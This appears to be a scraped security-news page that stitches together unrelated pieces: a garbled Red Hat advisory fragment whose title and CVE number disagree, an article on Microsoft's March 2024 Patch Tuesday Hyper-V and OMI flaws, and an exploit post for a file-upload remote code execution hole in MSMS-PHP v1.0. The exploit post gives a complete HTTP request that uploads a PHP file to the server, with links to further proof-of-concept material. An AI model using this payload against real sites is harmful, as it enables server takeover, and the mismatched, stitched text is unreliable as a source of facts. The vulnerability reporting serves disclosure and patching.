psp off-by-one RCE (CVE-2023-44444)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44442References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2249942https://bugzilla.redhat.com/show_bug.cgi?id=2249946

Red Hat Security Advisory 2024-1327-03

Microsoft patched 61 vulnerabilities in the March 2024 Patch Tuesday round, including two critical flaws in Hyper-V.

The March 2024 Patch Tuesday update includes patches for 61 Microsoft vulnerabilities. Only two of the vulnerabilities are rated critical and both of these are found in Windows Hyper-V.

Hyper-V is a hardware virtualization product that allows you to run multiple operating systems as virtual machines (VMs) on Windows. A virtual machine is a computer program that emulates a physical computer. A physical “host” computer can run multiple separate “guest” VMs that are isolated from each other, and from the host. The physical resources of the host are allocated to the VMs by a software layer called the hypervisor, which acts an intermediary between the host and guests.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. The Hyper-V CVEs patched in this round of updates are:

CVE-2024-21407 is a Windows Hyper-V Remote Code Execution (RCE) vulnerability with a CVSS score of 8.1 out of 10. Microsoft says exploitation is less likely since this vulnerability would require an authenticated attacker on a guest to send specially crafted file operation requests to hardware resources on the VM which could result in remote code execution on the host server.

This means the attacker would need a good deal of information about the specific environment, and to take additional actions prior to exploitation to prepare the target environment.

CVE-2024-21408 is a Windows Hyper-V Denial of Service (DOS) vulnerability with a CVSS score of 5.5 out of 10. This means an attacker could target a host machine from a guest and cause it to crash or stop functioning. However, Microsoft did not provide any additional details on how this DOS could occur.

The attention for Hyper-V is remarkable since only a week earlier, VMware released security updates to fix critical sandbox escape vulnerabilities in VMware ESXi, Workstation, Fusion, and Cloud Foundation. VMware ESXi and Hyper-V are both designed to handle large-scale virtualization deployments.

Another vulnerability worth mentioning is CVE-2024-21334, which has a CVSS score of 9.8 out of 10. It’s an Open Management Infrastructure (OMI) RCE vulnerability that affects System Center Operations Manager (SCOM). SCOM is a set of tools in Microsoft’s System Center for infrastructure monitoring and application performance management. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.

OMI is an open source technology for environment management software products for Linux and Unix-based systems. The OMI project was set up to implement standards-based management so that every device in the world can be managed in a clear, consistent, and coherent way.

Use-after-free vulnerabilities are the result of the incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can exploit the error to manipulate the program. Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Microsoft states that if the Linux machines do not need network listening, OMI incoming ports can be disabled. In other cases, customers running affected versions of SCOM (System Center Operations Manager 2019 and 2022) should update to OMI version 1.8.1-0.

**Other vendors**

Other vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.

**Adobe** has released security updates to address vulnerabilities in several products:

*   Adobe Experience Manager
*   Adobe Premiere Pro
*   Adobe ColdFusion
*   Adobe Bridge
*   Adobe Lightroom
*   Adobe Animate

The **Android** Security Bulletin for February contains details of security vulnerabilities for patch level 2024-03-05 or later.

**Apple** has released a security update for iOS and iPadOS to patch two zero-day vulnerabilities

**SAP** has released its March 2024 Patch Day updates.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using ThreatDown Vulnerability and Patch Management.

 Microsoft Patch Tuesday March 2024 includes critical Hyper-V flaws 

MSMS-PHP version 1.0 suffers from a remote shell upload vulnerability.

    ## Title: MSMS-PHP (by: oretnom23 ) v1.0 File Upload - RCE browser using## Author: nu11secur1ty## Date: 03/13/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/file-upload## Description:The upload function and id=cimg parameter are not sanitizing correctly!The attacker can upload any PHP file which he can execute directly onthe server!STATUS: HIGH-CrITICAL Vulnerability[+]Payload:```POSTPOST /mobile_store/classes/SystemSettings.php?f=update_settings HTTP/1.1Host: localhostContent-Length: 6318sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data;boundary=----WebKitFormBoundarypV7nBYU4nAonvWelX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/mobile_store/admin/?page=system_infoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=b6i4kegv7jonjlu44gtuo8i4dgConnection: close------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="name"Mobile Store Management System - PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="short_name"MSMS-PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="about_us"<p style="text-align: center; margin-right: 0px; margin-bottom: 0px;margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size:70px; line-height: 90px;">About Us</p><hr style="margin: 0px; padding:0px; clear: both; border-top: 0px; height: 1px; background-image:linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75),rgba(0, 0, 0, 0));"><div id="Content" style="margin: 0px; padding:0px; position: relative;"><div id="bannerL" style="margin: 0px 0px 0px-160px; padding: 0px; position: sticky; top: 20px; width: 160px;height: 10px; float: left; text-align: right; color: rgb(0, 0, 0);font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div id="bannerR"style="margin: 0px -160px 0px 0px; padding: 0px; position: sticky;top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0,0); font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div class="boxed"style="margin: 10px 28.7969px; padding: 0px; clear: both; color:rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-size:14px; text-align: center; background-color: rgb(255, 255, 255);"><divid="lipsum" style="margin: 0px; padding: 0px; text-align:justify;"></div></div></div><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Lorem ipsumdolor sit amet, consectetur adipiscing elit. Nullam non ultricestortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenasiaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blanditvulputate magna, non lobortis velit pharetra vel. Morbi sollicitudinlorem sed augue suscipit, eu commodo tortor vulputate. Interdum etmalesuada fames ac ante ipsum primis in faucibus. Pellentesquehabitant morbi tristique senectus et netus et malesuada fames acturpis egestas. Praesent eleifend interdum est, at gravida eratmolestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabituret viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamusporttitor ac risus eu ultricies. Morbi malesuada mi vel luctussagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris atlacus vehicula, aliquam purus quis, pharetra lorem.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Proin consectetur massa ut quam molestie porta. Donecsit amet ligula odio. Class aptent taciti sociosqu ad litora torquentper conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinarac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eublandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifendid, aliquet ut libero. Nunc scelerisque vulputate turpis quisvolutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulumimperdiet, nulla vitae pharetra pretium, magna felis placerat libero,quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorpercursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapienconsectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitaetortor vestibulum consequat ac quis risus. Sed finibus pharetra orci,id vehicula tellus eleifend sit amet.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Morbi id antevel velit mollis egestas. Suspendisse pretium sem urna, vitae placeratturpis cursus faucibus. Ut dignissim molestie blandit. Phaselluspulvinar, eros id ultricies mollis, lectus velit viverra mi, atvenenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibhfelis. Donec faucibus, nulla at faucibus blandit, mi justo efficiturdui, non mattis nisl purus non lacus. Maecenas vel congue tellus, inconvallis nisi. Curabitur faucibus interdum massa, eu facilisis ligulapretium quis. Nunc eleifend orci nec volutpat tincidunt.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Ut et urna sapien. Nulla lacinia sagittis felis idcursus. Etiam eget lacus quis enim aliquet dignissim. Nulla vel elitultrices, venenatis quam sed, rutrum magna. Pellentesque ultricies nonlorem hendrerit vestibulum. Maecenas lacinia pharetra nisi, atpharetra nunc placerat nec. Maecenas luctus dolor in leo malesuada,vel aliquet metus sollicitudin. Curabitur sed pellentesque sem, intincidunt mi. Aliquam sodales aliquam felis, eget tristique felisdictum at. Proin leo nisi, malesuada vel ex eu, dictum pellentesquemauris. Quisque sit amet varius augue.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Sed quisimperdiet est. Donec lobortis tortor id neque tempus, vel faucibuslorem mollis. Fusce ut sollicitudin risus. Aliquam iaculis tristiquenunc vel feugiat. Sed quis nulla non dui ornare porttitor eu vitaenisi. Curabitur at quam ut libero convallis mattis vel eget mauris.Vivamus vitae lectus ligula. Nulla facilisi. Vivamus tristique maximusnulla, vel mollis felis blandit posuere. Curabitur mi risus, rutrumnon magna at, molestie gravida magna. Aenean neque sapien, volutpat aullamcorper nec, iaculis quis est.</p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="privacy_policy"<p>Sample Privacy Policy<br></p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="img"; filename="info.php"Content-Type: application/octet-stream<?php  phpinfo();?>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="cover"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="banners[]"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWel--```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0/FU)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-file-upload.html)## Time spent:00:05:00

Tag

#sap